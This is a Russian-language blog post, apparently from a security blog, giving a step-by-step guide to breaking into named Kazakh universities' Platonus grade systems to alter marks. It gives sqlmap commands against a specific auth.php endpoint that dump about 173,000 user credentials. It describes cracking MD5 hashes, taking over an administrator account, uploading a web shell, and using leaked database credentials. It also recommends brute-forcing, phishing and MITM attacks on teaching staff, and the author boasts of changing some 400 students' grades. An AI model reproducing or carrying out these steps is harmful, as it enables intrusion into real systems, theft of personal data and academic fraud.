web

Как взломать систему учета (АИС) в университете.

Данная статья расскажет тебе, как окончить университет с крутыми оценками без регистрации и отправки СМС, не посещая занятия. Во многих университетах используются автоматизированные информационные системы (АИС), которые содержат информацию об отметках обучающихся, результаты экзаменов, историю посещений занятий и прочие конфиденциальные данные. В моем вузе все ведомости распечатывали на прямую из веб-интерфейса университетской АИС.

Как взломать систему учета (АИС) — первая цель.

Первым в нашем списке будет Евразийский национальный университет им. Л. Н. Гумилева.

Начнем с информационной разведки и посмотрим, что известно об университетском сайте и использующейся АИС. Вуз работает с АИС Platonus. Однако форма авторизации не имеет очевидных уязвимостей, а для полного аудита необходима учетная запись студента (о том, как ее получить, я расскажу ниже), которой у нас по дефолту нет (свою учетную запись не будем использовать, чтобы не наследить в логах). Пришла мысль просканировать основной сайт на наличие субдоменов. Для этого прибегнем к помощи сервиса pentest-tools.com (см. рис. 1).

Рис 1. Проверяем количество доменов

Просмотрев сайты, расположенные на субдоменах, обнаруживаем, что субдомен http://service.enu.kz/ имеет форму авторизации, которая использует логины и пароли от АИС Platonus (рис. 2).

ПОИСК УЯЗВИМОСТЕЙ

Приступаем к предварительному осмотру сайта (веб-приложения), находящегося на данном субдомене. Первым делом, как истинные скрипт-киддисы, бежим осматривать input-формы на наличие фильтрации и возможных уязвимостей.

И сразу обнаруживаем, что по адресу https://service.enu.kz/portal/ page_dictonary.php форма поиска позволяет произвести DOM SELF XSS атаку. Однако XSS — это не круто, особенно если это SELF (рис. 3).

Наиболее результативной находкой оказалась SQLi, найденная в экшн-скрипте auth.php (рис. 4).

Достаточно было ввести в форму логина по адресу https://service.enu.kz/ portal/page_login.php стандартную кавычку (1234′), чтобы вызвать ошибку в SQL-запросе (рис. 5).

РАСКРУЧИВАЕМ ИНЪЕКЦИЮ

Для того чтобы облегчить себе задачу и не раскручивать инъекцию вручную, прибегнем к любимому многими инструменту — sqlmap.py, который сделает за нас всю черную работу.

Следующая команда позволит нам вытянуть список доступных баз данных:

sqlmap.py –u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 --dbs
Список доступных баз данных

 

Кстати, база skd — это база системы контроля доступа, по ней можно было узнать, в какое время человек входил в университет и когда выходил, или, используя энкодер, сделать копию его пропуска на обычную
болванку. Прикольно, но нам надо немного другое…

Рис. 8. Список доступных таблиц из базы service

Попробуем посмотреть таблицы в базе данных под названием service. Для этого вызываем sqlmap со следующими параметрами:

sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 -D service --tables

И получаем в ответ список таблиц (рис. 8).

Особое внимание привлекает таблица auth: что-то подсказывает, что там можно найти данные, связанные с авторизацией. Заряжаем sqlmap на вытаскивание информации об этой таблице:

sqlmap.py -u "http://service.enu.kz/portal/
    auth.php" --data="btn_enter=1&login=1234
    &password=1234&role=ienu&secfield=0"
    -p "role" --level=5 --risk=2 -D service -T auth --columns

Ага, судя по названию колонок, здесь действительно хранятся логины и пароли (рис. 9).

Остается только их выудить (рис. 10). Следующая команда в итоге выдаст нам около 173 тысяч данных об авторизации пользователей:

sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data=
    "btn_enter=1& login= 1234&password=1234&role=ienu&secfield=0"
    -p "role" --level=5 --risk=2 -D service -T auth -C id,
    user_login,user_password,auth_dt --dump

Остается только расшифровать пароли, зашифрованные, кстати, алгоритмом MD5. Для этого прибегаем к использованию программ и сервисов по расшифровке хешей. В итоге у нас окажется вся актуальная база данных пользователей.

ДВИЖЕМСЯ ДАЛЬШЕ

Теперь наша задача состоит в получении индивидуального идентификационного номера (ИИН) пользователя. Сложностей с этим никаких не возникает, поскольку сам ресурс http://service.enu.kz/ предоставляет такую возможность. Авторизовавшись на сайте, в личном кабинете пользователя находим графу ИИН (рис. 11).

Получив таким же образом данные администратора nurzhanov_eb, мы можем попасть в Platonus при помощи его логина, пароля и ИИН. Задача администратора nurzhanov_eb — выдавать логины и пароли всем пользователям (преподавателям, учащимся и родителям студентов). Тем самым он имеет доступ к любому пользователю системы в целом.

Единственное ограничение — администратор не видит пароль пользователя, зато он его может сбросить, после чего сгенерируется отчет о сбросе пароля (рис. 14).

GODMODE ON

В итоге мы можем сменить логин и пароль любому пользователю и получить доступ к другим личным кабинетам и их функциям. Собственно, на этом можно было бы закончить историю со взломом данного университета, но есть маленькое дополнение. При авторизации в АИС «Платонус» выпадает всплывающее окно с просьбой заполнить анкету и ссылкой на саму анкету (рис. 15).

Ссылка, которая перенаправляет пользователя на адрес anketa2.enu.kz, передает параметры логина и пароля в форму авторизации, тем самым оставляя входные данные в сформировавшийся ссылке:

http://anketa2.enu.kz/auth.php?login=makhambetov_ab&password=
    688a469b584aead68736aa133861f2af&secfield=1&role=ienu

Так как логин нам уже известен, остается расшифровать пароль. Для этого используем сайт hashkiller.co.uk. Результат не заставил себя ждать, и мы получили пароль от аккаунта Platonus (рис. 16).

Если посмотреть со стороны, то эта ошибка не особо явная, так как в любом случае нам нужен владелец аккаунта. Значит, злоумышленнику надо использовать социальную инженерию.

Смоделируем, например, обычную ситуацию взаимоотношений студента и преподавателя. Студент может предложить преподавателю свою помощь — заполнить вместо него анкету. Тогда студенту понадобится ссылка.

Как взломать систему учета (АИС) — ЦЕЛЬ НОМЕР ДВА

А теперь давай рассмотрим распространенную ошибку администраторов сайтов университетов, которая приводит к тому, что злоумышленникам даже не требуется специальных знаний и особых навыков, чтобы получить полный доступ к базе данных АИС.

Наша цель — добыть доступ к базе данных Казахского агротехнического университета им. С. Сейфуллина. Основной сайт университета: http:// kazatu.kz. Сайт АИС на субдомене: http://platonus.kazatu.kz/. Также су- ществует некий студенческий портал http://portal.kazatu.kz/ (рис. 17).

Приступаем к предварительному осмотру портала. Замечаем, что на портале есть ссылки на другие АИСы. Привлекает внимание АИС «Приемная комиссия». Переходим туда.

Особое внимание привлекает вкладка «Заявление абитуриента», так как обычно на подобных страницах есть возможность заливать файлы. Если разработчик не позаботился о том, чтобы запретить заливку файлов с исполняемыми расширениями, то это приведет к плачевным результатам.

Вопрос заключается лишь в том, как найти раздел, куда заливаются файлы. Существует множество вариантов: сканеры структур сайтов, брутфорсы, вручную, а также обязательный и самый простой метод — проиндексированные страницы в Google (рис. 20).

Таким нехитрым запросом мы узнали про существование раздела http:// portal.kazatu.kz/abit/foto.

ПОД КОЛПАКОМ

Распространенная ошибка администратора — включен листинг файлов и не указан запрет на индексирование поисковыми системами. Из-за этого мы можем увидеть все файлы, хранящиеся в папке и директории. Среди которых и залитый нами шелл.

Теперь в нашем распоряжении все файлы на сервере за исключением тех, к которым наш пользователь (SYSTEM) не имеет доступа. Изучая содержимое директорий, натыкаемся на интересный файл con_bd.php, в котором записаны данные для подключения к БД (рис. 23).

Установленный phpMyAdmin и знание настроек для подключения к базе дают нам огромные возможности. Переходим в phpMyAdmin по адресу http:// portal.kazatu.kz/abit/pma, авторизуемся при помощи добытых ранее логина и пароля.

Авторизовавшись, мы получаем полный доступ ко всем базам данных сервера, помимо самого «Платонуса», что чревато большими последствиями.

ЦЕЛЕВЫЕ АТАКИ НА ПРЕПОДАВАТЕЛЬСКИЙ СОСТАВ

Иногда бывает целесообразнее производить атаки не на всю систему, а на определенных сотрудников, непосредственно работающих с нею. Для целевых атак я обычно использую bruteforce, phishing и MITM-атаки в локальных сетях университета. Также не стоит недооценивать великую социальную инженерию.

Bruteforce

Брутфорс — метод поиска и взлома пароля путем перебора всех теоретически возможных вариантов.

Разработчики студенческих порталов и АИС зачастую забывают про капчу или ограничения по количеству попыток авторизации. Я встречал университеты, где пароли всех преподавателей состояли из четырех цифр, которые они не могли сами изменить. Чтобы сменить пароль, нужно подать заявление на имя декана. Кстати, подводный камень этих систем в том, что через неделю после сессии портал закрывается и возможность изменить оценку через интерфейс пропадает. И чтобы изменить оценку, преподаватель должен написать заявление проректору и уплатить штраф. Поэтому многие преподаватели, заметив подмену оценок, ничего не предпринимают (а возможно, думают, что раз изменили оценку, значит, так угодно руководству). Обычно данная атака производится по набору широко распространенных паролей.

Моя попытка проделать подобное с интранетом (АИС) Казахстанско-Британского технического университета удалась на ура. Существует куча готовых решений для брута по веб-формам, самые популярные из них: THC Hydra, WBF. Gold, Medusa.

Phishing

Фишинг — одна из разновидностей социальной инженерии, основанная на незнании пользователями основ сетевой безопасности. В частности, многим неизвестен простой факт: сервисы не рассылают писем с просьбами сообщить свои учетные данные, пароль и прочее.

Успех многих фишинговых атак крылся в индивидуальном подходе к каждому сотруднику. Порой я менял закладки в браузерах на рабочих компьютерах преподавателей на подготовленный фишинговый сайт. В идеале можно было бы даже подменить файл hosts, чтобы URL был идентичен, но на подобные действия не всегда хватает времени. Иногда я слал письма с подменой почтового адреса от имени руководства (даже если у тебя возникнут сомнения, вряд ли ты станешь задавать вопросы начальству).

MITM

Такому методу атаки остаются подвержены многие университеты, использующие одну сеть для выхода в интернет студентов и сотрудников. Любой злоумышленник может произвести атаку и перехватить нужные пакеты, содержащие пароли. Уютные библиотеки с доступом в интернет — одно из моих любимых мест в стенах вузов. Однако, если не знаешь IP компьютера своего преподавателя, придется нелегко, если учесть интенсивность использования сети.

ВЫВОДЫ

Как ты смог увидеть на примере моей статьи, ни одна система не защищена на 100%, а бюрократические автоматизированные системы не всегда оказываются безопасными решениями. Но даже если отбросить уязвимость самого ПО, то всегда остается человеческий фактор. Я считаю, сотрудникам вузов просто необходим инструктаж по информационной безопасности.

Хотя, вероятно, руководители университетов еще не скоро займутся ИБ своих порталов, так что по-прежнему можно будет использовать уязвимости и манипулировать с оценками. Ну а если тебе не удается найти уязвимости, то необходимо вспомнить старую историю про двух мышек, упавших в молоко. Юзай си, оставайся анонимным и не болтай лишнего ;). Последнее особенно актуально.

P. S.

Почти четыре года назад меня исключили из университета без права на восстановление. Причина была в том, что я сменил оценки порядка четырехсот студентов. Возможно, никто бы и не узнал о произошедшем, однако мой одногруппник рассказал руководству университета, что я помог ему с оценками (восстановить их уже было нельзя, так что мой GPA остался впечатляющим). Кстати, меня до сих пор проклинают студенты этого вуза за то, что больше доступа к порталу вне стен университета нет. Поэтому прежде, чем что-либо сделать, всегда думай о последствиях своих действий.

Click to rate this post!
[Total: 17 Average: 3.9]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

View Comments

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

12 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago